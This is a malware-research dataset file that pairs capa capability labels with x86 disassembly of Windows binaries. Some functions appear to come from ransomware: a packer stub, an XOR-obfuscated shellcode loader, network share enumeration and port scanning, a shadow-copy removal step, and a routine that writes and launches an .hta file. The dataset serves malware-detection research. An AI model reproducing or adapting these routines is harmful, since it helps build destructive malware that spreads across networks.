joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40de7b
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestMathAlgorithms.exe_gMozillaPoisonSize], eax
call fcn.0040a9bc
pop ecx
mov ecx, dword [sym.TestMathAlgorithms.exe_gMozillaPoisonSize]
mov dword [sym.TestMathAlgorithms.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x40deb3
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestMathAlgorithms.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret

Function at 0x16a4120
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.GVD1
lea edi, [esi - 0x1270000]
push edi
or ebp, 0xffffffff
jmp 0x16a4142
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x16a4149
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
mov al, byte [edi]
jb 0x16a4138
mov eax, 1
add ebx, ebx
jne 0x16a415d
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x16a416e
jne 0x16a417e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x16a417e
dec eax
add ebx, ebx
jne 0x16a417a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x16a4152
xor ecx, ecx
sub eax, 3
jb 0x16a4196
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x16a420a
sar eax, 1
mov ebp, eax
jmp 0x16a41a1
add ebx, ebx
jne 0x16a41a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x16a41ae
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x16a41d2
inc ecx
add ebx, ebx
jne 0x16a41be
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x16a41b3
jne 0x16a41cf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x16a41b3
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
mov al, byte [edi + ecx]
jbe 0x16a41f4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x16a41e6
jmp 0x16a413e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x16a41f4
add edi, ecx
jmp 0x16a413e
pop esi
mov edi, esi
mov ecx, 0x346a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x16a4212
cmp byte [edi], 0x16
jne 0x16a4212
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x16a4217
lea edi, [esi + 0x12a1000]
mov eax, dword [edi]
or eax, eax
je 0x16a4286
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x12a57f8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x12a58e8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x16a4244
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x12a58ec]
or eax, eax
je 0x16a4280
mov dword [ebx], eax
add ebx, 4
jmp 0x16a4261
call dword [esi + 0x12a58f0]
popal
jmp 0x46b748
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x401c66
pop dword [ebp - 0x4c]
mov eax, 0x401c66
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xdc61611d
sub dword [ebp - 0x5c], 0x8e0f1bd2
mov dword [ebp - 0x58], 0x358b38a3
add dword [ebp - 0x58], 0xfca813a2
mov dword [ebp - 0x54], 0x3aa3abbe
sub dword [ebp - 0x54], 0xee576790
mov dword [ebp - 0x50], 0xb42b0088
add dword [ebp - 0x50], 0x4bd4ff78
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x86962944
sub eax, 0x8655f8f0
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x2c823d6a
sub dword [ebp - 0x5c], 0xb80fd414
mov dword [ebp - 0x58], 0x27378ae4
sub dword [ebp - 0x58], 0xe5cb296f
mov dword [ebp - 0x54], 0x8f7dd7d6
add dword [ebp - 0x54], 0xd3f19496
mov dword [ebp - 0x50], 0x4d734e11
add dword [ebp - 0x50], 0xb28cb1ef
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x364a2
push 0
call eax
mov ecx, 0x473c
mov esi, eax
mov edi, 0xa2f9281d
add edi, 0x5d4747e3
add edi, dword [ebp - 0x4c]
mov edx, 0x4b77eb1c
add edx, 0x57eaa78b
add dword [ebp - 0x20], edx
mov ebx, dword [edi]
add dword [ebp - 0x20], edi
add ebx, edx
xor dword [ebp - 0x20], 0x4bb5e6ab
mov dword [esi], ebx
add esi, 0x6c2555d3
sub esi, 0x6c2555cf
add edi, 4
loop 0x401d78
add eax, 0x1ca097cd
sub eax, 0x1c9f880a
xor ebx, ebx
add ebx, eax
add eax, 0xe0320bf4
sub eax, 0xe0320bef
mov ecx, 0xfb156af0
add ecx, 0x52a9510
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x402700
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2020
call fcn.00430120
mov eax, dword [0x47c018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
mov dword [ebp - 0x2020], edx
push esi
mov esi, dword [sym.imp.NETAPI32.dll_NetShareEnum]
mov dword [ebp - 0x2018], eax
mov dword [ebp - 0x2014], 0
mov dword [ebp - 0x2008], 0
mov dword [ebp - 0x2010], 0
mov dword [ebp - 0x200c], 0
nop dword [eax]
nop dword [eax + eax]
lea ecx, [ebp - 0x200c]
push ecx
lea ecx, [ebp - 0x2010]
push ecx
lea ecx, [ebp - 0x2008]
push ecx
push 0xffffffffffffffff
lea ecx, [ebp - 0x2014]
push ecx
push 1
push eax
call esi
test eax, eax
je 0x40279a
cmp eax, 0xea
jne 0x4028d8
mov eax, dword [ebp - 0x2018]
jmp 0x402760
cmp dword [ebp - 0x2008], 1
mov esi, dword [ebp - 0x2014]
mov dword [ebp - 0x201c], 1
jb 0x4028d1
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
nop
mov eax, dword [esi + 4]
test eax, eax
je 0x4027d9
cmp eax, 0x80000000
je 0x4027d9
cmp eax, 0x40000000
jne 0x4028ad
push 0x7d08
call fcn.00434060
push 0x7d08
mov ebx, eax
push 0
push ebx
call fcn.00431040
add esp, 0x10
push str.IPC_
push dword [esi]
call edi
test eax, eax
je 0x4028ad
push str.Users
push dword [esi]
call edi
test eax, eax
je 0x4028ad
push str.Print_
push dword [esi]
call edi
test eax, eax
je 0x4028ad
push str.ADMIN_
push dword [esi]
call edi
test eax, eax
je 0x4028ad
push str.Default_share
push dword [esi]
call edi
test eax, eax
je 0x4028ad
test ebx, ebx
je 0x4028ad
push dword [esi]
push dword [ebp - 0x2018]
push str.__UNC_s_s_
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
push ebx
lea eax, [ebp - 0x2004]
push str.Found_share_by_ip_scan:__s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x1c
lea eax, [ebp - 0x2004]
push eax
push 0
push 0x463
push dword [0x4806e8]
call dword [sym.imp.USER32.dll_SendMessageW]
mov edx, dword [ebp - 0x2020]
lea ecx, [ebx + 0x7d00]
mov dword [ecx], 0
mov eax, dword [edx + 4]
mov dword [ebx + 0x7d04], eax
mov eax, dword [edx + 4]
mov dword [eax], ebx
mov dword [edx + 4], ecx
mov eax, dword [ebp - 0x201c]
add esi, 0xc
inc eax
mov dword [ebp - 0x201c], eax
cmp eax, dword [ebp - 0x2008]
jbe 0x4027c0
mov esi, dword [ebp - 0x2014]
pop edi
pop ebx
push esi
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0042f19a
mov esp, ebp
pop ebp
ret
Function at 0x402d60
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x47c018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x480734]
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
test eax, eax
jne 0x402d90
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042f19a
mov esp, ebp
pop ebp
ret
mov eax, dword [eax]
xor bl, bl
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 0x18], eax
nop dword [eax]
push 0x28
push 0x40
mov byte [ebp - 0x15], bl
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x402e74
mov eax, dword [ebp - 0x18]
push 1
push 0
push 0
push 6
push 1
push 2
mov dword [esi + 0x18], eax
mov byte [esi + 0x1c], 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [esi + 0x14], eax
cmp eax, 0xffffffff
jne 0x402de3
push esi
call edi
jmp 0x402e69
mov ecx, 0x10
lea eax, [ebp - 0x14]
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x402df0
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 2
push eax
mov dword [ebp - 0x10], ecx
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x402e26
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_closesocket]
push esi
call edi
jmp 0x402e69
push 0
push 2
push dword [0x48073c]
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test eax, eax
jne 0x402e4b
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_closesocket]
push esi
call edi
jmp 0x402e69
lea ecx, [esi + 0x20]
mov dword [ecx], 0
mov eax, dword [0x480744]
mov dword [esi + 0x24], eax
mov eax, dword [0x480744]
mov dword [eax], esi
mov dword [0x480744], ecx
inc bl
cmp bl, 0xff
jb 0x402da0
mov edx, dword [ebp - 0x1c]
mov ecx, dword [edx + 4]
mov eax, dword [edx + 8]
test ecx, ecx
je 0x402e86
mov dword [ecx + 8], eax
jmp 0x402e8b
mov dword [0x480738], eax
mov ecx, dword [edx + 8]
mov eax, dword [edx + 4]
push edx
mov dword [ecx], eax
call fcn.0043406b
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.0042f19a
mov esp, ebp
pop ebp
ret
Function at 0x4031f0
Capabilities:
Create tcp socket
Create thread
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b4
mov eax, dword [0x47c018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x2b0]
xor ebx, ebx
push eax
push 0x202
xor edi, edi
mov dword [0x480748], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x480714
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push edi
push edi
push edi
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4033aa
push edi
push edi
lea eax, [ebp - 0x11c]
mov dword [ebp - 0x118], 0x25a207b9
push eax
push 4
push 0x480710
push 0x10
lea eax, [ebp - 0x118]
mov dword [ebp - 0x114], 0x4660ddf3
push eax
push 0xc8000006
push esi
mov dword [ebp - 0x110], 0xe576e98e
mov dword [ebp - 0x10c], 0x3e06748c
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x4033aa
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
jne 0x4033aa
push pe_nt_image_headers32
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x4032d4
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [0x48070c], eax
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x48073c], eax
test eax, eax
jne 0x4032f5
push str.Cant_create_io_completion_port
jmp 0x4033af
mov ecx, 0x480734
mov dword [0x480734], ebx
mov dword [0x480738], 0x480734
mov dword [0x48072c], ebx
mov dword [0x480730], 0x48072c
mov dword [0x480740], ebx
mov dword [0x480744], 0x480740
call fcn.00402530
test eax, eax
jne 0x40333a
push str.Cant_get_subnets
jmp 0x4033af
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4028f0
push 0
push 0
call esi
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40335f
push str.Cant_create_host_thread
jmp 0x4033af
push 0
push 0
push 0
push 0x402fa0
push 0
push 0
call esi
mov edi, eax
cmp edi, 0xffffffff
jne 0x40337e
push str.Cant_create_port_scan_thread
jmp 0x4033af
push 0
push 1
push 0
push dword [0x48073c]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push edi
call esi
or ecx, 0xffffffff
call fcn.00402c80
push 0xffffffffffffffff
push ebx
call esi
jmp 0x4033c2
push str.Cant_get_ConnectEx
push 0
push 0x463
push dword [0x4806e8]
call dword [sym.imp.USER32.dll_SendMessageW]
push 0x480714
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov eax, dword [0x48073c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4033df
push eax
call esi
test ebx, ebx
je 0x4033e6
push ebx
call esi
test edi, edi
je 0x4033ed
push edi
call esi
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042f19a
mov esp, ebp
pop ebp
ret
Function at 0x404fc0
Capabilities:
Empty the recycle bin
Hide graphical window
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44800d
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x47c018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.00403b80
push 1
test al, al
jne 0x404ffa
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
call esi
push 2
call esi
push 4
call esi
push 1
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [0x4802b0], 0
call fcn.0042aa60
call fcn.00404e60
call fcn.00405830
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
push str.remove_shadows
push 0
push 0x463
push dword [0x4806e8]
call esi
call fcn.004060f0
push str.IOCP_initialize
push 0
push 0x463
push dword [0x4806e8]
call esi
call fcn.00407220
push ecx
lea ecx, [ebp - 0x18]
call fcn.0040aa00
mov dword [ebp - 4], 0
cmp byte [0x4806df], 0
je 0x4050a6
sub esp, 0x18
mov ecx, esp
push 0x47d204
call fcn.00411240
call fcn.00405750
add esp, 0x18
cmp byte [0x4806e0], 0
je 0x4050c6
sub esp, 0x18
mov ecx, esp
push 0x47d21c
call fcn.00411240
call fcn.00405750
add esp, 0x18
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x4806e5], 0
je 0x40518d
push 0x20
call fcn.0042f609
add esp, 4
mov ecx, eax
call fcn.00402c60
mov esi, eax
push str.__C:_test
mov ecx, esi
call fcn.00403740
push esi
mov word [esi + 0x18], 0
mov dword [esi + 0x1c], 0x200
call fcn.004080f0
call fcn.00405c40
test al, al
je 0x40511e
call fcn.004055a0
cmp byte [0x4806e1], 0
je 0x40513e
sub esp, 0x18
mov ecx, esp
push 0x47d234
call fcn.00411240
call fcn.00405750
add esp, 0x18
cmp byte [0x4806e2], 0
je 0x40515e
sub esp, 0x18
mov ecx, esp
push 0x47d24c
call fcn.00411240
call fcn.00405750
add esp, 0x18
cmp byte [0x4806db], 0
je 0x40516c
call fcn.00405cc0
cmp byte [0x4806dd], 0
je 0x40517a
call fcn.00405ae0
lea ecx, [ebp - 0x18]
call fcn.00411f70
test al, al
je 0x40519b
call fcn.0040fe80
jmp 0x40519b
cmp byte [0x4806da], 0
je 0x40519b
call fcn.004051b0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x405420
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44804d
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push esi
mov eax, dword [0x47c018]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov ecx, 0x104
call fcn.00409c80
mov dword [ebp - 0x1c], eax
mov eax, dword [0x47faac]
mov ecx, dword [ebp - 0x1c]
mov dword [eax*4 + 0x47fab0], ecx
push 0x20
call fcn.0042f609
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x405489
mov ecx, dword [ebp - 0x14]
call fcn.00402c60
mov dword [ebp - 0x18], eax
jmp 0x405490
mov dword [ebp - 0x18], 0
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x10], edx
lea ecx, [ebp + 8]
call fcn.00411dd0
mov dword [ebp - 0x20], eax
mov eax, dword [0x47faac]
mov ecx, dword [eax*4 + 0x47fab0]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea ecx, [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.00411a00
mov edx, dword [ebp - 0x10]
mov byte [edx + 0x18], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x1c], 0
mov ecx, dword [ebp - 0x10]
mov byte [ecx + 0x19], 1
mov edx, dword [0x4802b0]
lea eax, [edx*4 + 0x47feb0]
push eax
push 4
mov ecx, dword [ebp - 0x10]
push ecx
push fcn.004080f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x28], eax
mov edx, dword [0x4802b0]
mov eax, dword [ebp - 0x28]
mov dword [edx*4 + 0x4802b8], eax
mov ecx, dword [0x4802b0]
mov edx, dword [ecx*4 + 0x4802b8]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [0x4802b0]
mov ecx, dword [eax*4 + 0x47feb0]
xor edx, edx
mov eax, dword [0x4802b0]
shl eax, 4
mov esi, 8
imul esi, esi, 0
mov dword [eax + esi + 0x47ea98], ecx
mov dword [eax + esi + 0x47ea9c], edx
mov ecx, dword [0x4802b0]
add ecx, 1
mov dword [0x4802b0], ecx
mov edx, dword [0x47faac]
add edx, 1
mov dword [0x47faac], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00403410
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4055a0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x47c018]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x60], 0
push eax
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x4055dd
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
push ebx
push esi
push edi
push 0x44
lea eax, [ebp - 0x5c]
push 0
push eax
call fcn.00431040
xor eax, eax
mov dword [ebp - 0x5c], 0x44
mov word [ebp - 0x2c], ax
mov edi, 1
mov eax, 3
mov ebx, 2
sub eax, 0x47ca70
add esp, 0xc
mov dword [ebp - 0x64], eax
xor esi, esi
mov eax, 4
sub edi, 0x47ca70
sub ebx, 0x47ca70
xorps xmm0, xmm0
sub eax, 0x47ca70
movups xmmword [ebp - 0x18], xmm0
mov dword [ebp - 0x68], eax
mov eax, 0xaaaaaaab
mul esi
mov eax, esi
shr edx, 4
lea ecx, [edx + edx*2]
shl ecx, 3
sub eax, ecx
lea ecx, [edi + 0x47ca70]
add ecx, esi
movzx eax, byte [eax + str.12210111111610599117115]
xor byte [esi + 0x47ca70], al
mov eax, 0xaaaaaaab
mul ecx
mov eax, esi
shr edx, 4
lea ecx, [edx + edx*2]
shl ecx, 3
sub eax, ecx
lea ecx, [ebx + 0x47ca70]
add ecx, esi
movzx eax, byte [eax + 0x456129]
xor byte [esi + 0x47ca71], al
mov eax, 0xaaaaaaab
mul ecx
mov eax, esi
shr edx, 4
lea ecx, [edx + edx*2]
shl ecx, 3
sub eax, ecx
movzx eax, byte [eax + 0x45612a]
xor byte [esi + 0x47ca72], al
mov eax, dword [ebp - 0x64]
lea ecx, [eax + 0x47ca70]
mov eax, 0xaaaaaaab
add ecx, esi
mul ecx
mov eax, esi
shr edx, 4
lea ecx, [edx + edx*2]
shl ecx, 3
sub eax, ecx
movzx eax, byte [eax + 0x45612b]
xor byte [esi + str.FRPUX_], al
mov eax, dword [ebp - 0x68]
lea ecx, [eax + 0x47ca70]
mov eax, 0xaaaaaaab
add ecx, esi
mul ecx
mov eax, esi
shr edx, 4
lea ecx, [edx + edx*2]
shl ecx, 3
sub eax, ecx
movzx eax, byte [eax + 0x45612c]
xor byte [esi + 0x47ca74], al
add esi, 5
cmp esi, 0x91
jl 0x405636
pop edi
pop esi
pop ebx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push 0x47ca70
push 0x45594c
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.0042f19a
mov esp, ebp
pop ebp
ret
Function at 0x405750
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x47c018]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x60], 0
push eax
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x40578d
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
push 0x44
lea eax, [ebp - 0x5c]
push 0
push eax
call fcn.00431040
add esp, 0xc
mov dword [ebp - 0x5c], 0x44
lea ecx, [ebp - 0x18]
xor eax, eax
cmp dword [ebp + 0x1c], 0x10
xorps xmm0, xmm0
mov word [ebp - 0x2c], ax
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x5c]
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push eax
push str.C:WindowsSystem32cmd.exe
movups xmmword [ebp - 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x40580f
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405805
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405822
push ecx
push edx
call fcn.0042f3f9
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.0042f19a
mov esp, ebp
pop ebp
ret
call fcn.0043400f
int3
Function at 0x405ae0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
mov eax, dword [0x47c018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x104
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x10c]
push 0x455a70
push eax
call esi
cmp dword [0x47cfe8], 0x10
mov eax, 0x47cfd4
cmovae eax, dword [0x47cfd4]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push str..hta
lea eax, [ebp - 0x10c]
push eax
call esi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x405b97
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042f19a
mov esp, ebp
pop ebp
ret
cmp dword [0x47d17c], 0x10
mov eax, 0x47d168
cmovae eax, dword [0x47d168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp dword [0x47d17c], 0x10
lea edx, [ebp - 0x110]
push 0
push edx
mov ecx, 0x47d168
cmovae ecx, dword [0x47d168]
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm0, xmmword [0x4767a0]
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x13c], eax
lea eax, [ebp - 0x14c]
push eax
mov dword [ebp - 0x14c], 0x3c
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x140], 0
movups xmmword [ebp - 0x138], xmm0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0042f19a
mov esp, ebp
pop ebp
ret